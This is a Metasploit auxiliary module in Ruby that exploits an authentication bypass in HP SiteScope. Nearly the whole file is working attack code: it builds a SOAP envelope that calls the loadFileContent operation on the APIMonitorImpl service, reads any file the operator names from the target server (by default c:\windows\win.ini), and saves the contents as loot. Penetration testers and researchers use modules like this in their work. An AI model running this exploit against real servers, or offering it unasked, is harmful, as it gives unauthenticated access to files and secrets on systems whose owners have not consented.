##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'         => 'HP SiteScope SOAP Call loadFileContent Remote File Access',
      'Description'  =>  %q{
          This module exploits an authentication bypass vulnerability in HP SiteScope to
        retrieve an arbitrary text file from the remote server. It is accomplished by
        calling the loadFileContent operation available through the APIMonitorImpl AXIS
        service. This module has been successfully tested on HP SiteScope 11.20 over
        Windows 2003 SP2 and Linux Centos 6.3.
      },
      'References'   =>
        [
          [ 'OSVDB', '85118' ],
          [ 'BID', '55269' ],
          [ 'ZDI', '12-177' ]
        ],
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'      => MSF_LICENSE
    )

    register_options(
    [
      Opt::RPORT(8080),
      OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']),
      OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']),
    ])

    register_autofilter_ports([ 8080 ])
  end

  def run_host(ip)
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1,1] != '/'

    print_status("Connecting to SiteScope SOAP Interface")

    uri = normalize_uri(@uri, 'services/APIMonitorImpl')

    res = send_request_cgi({
      'uri'     => uri,
      'method'  => 'GET'})

    if not res
      print_error("Unable to connect")
      return
    end

    accessfile
  end

  def accessfile

    data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
    data << "<wsns0:Envelope" + "\r\n"
    data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
    data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
    data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
    data << ">" + "\r\n"
    data << "<wsns0:Body" + "\r\n"
    data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
    data << ">" + "\r\n"
    data << "<impl:loadFileContent" + "\r\n"
    data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
    data << ">" + "\r\n"
    data << "<in0" + "\r\n"
    data << "xsi:type='xsd:string'" + "\r\n"
    data << "xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
    data << ">#{datastore['RFILE']}</in0>" + "\r\n"
    data << "</impl:loadFileContent>" + "\r\n"
    data << "</wsns0:Body>" + "\r\n"
    data << "</wsns0:Envelope>" + "\r\n"

    print_status("Retrieving the file contents")

    uri = normalize_uri(@uri, 'services/APIMonitorImpl')

    res = send_request_cgi({
      'uri'      => uri,
      'method'   => 'POST',
      'ctype'    => 'text/xml; charset=UTF-8',
      'data'     => data,
      'headers'  => {
        'SOAPAction'    => '""',
      }})

    if res and res.code == 200 and res.body =~ /<loadFileContentReturn xsi:type="xsd:string">(.*)<\/loadFileContentReturn>/m
      loot = CGI.unescapeHTML($1)
      if not loot or loot.empty?
        print_status("Retrieved empty file")
        return
      end
      f = ::File.basename(datastore['RFILE'])
      path = store_loot('hp.sitescope.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
      print_good("#{datastore['RFILE']} saved in #{path}")
      return
    end

    print_error("Failed to retrieve the file")
  end
end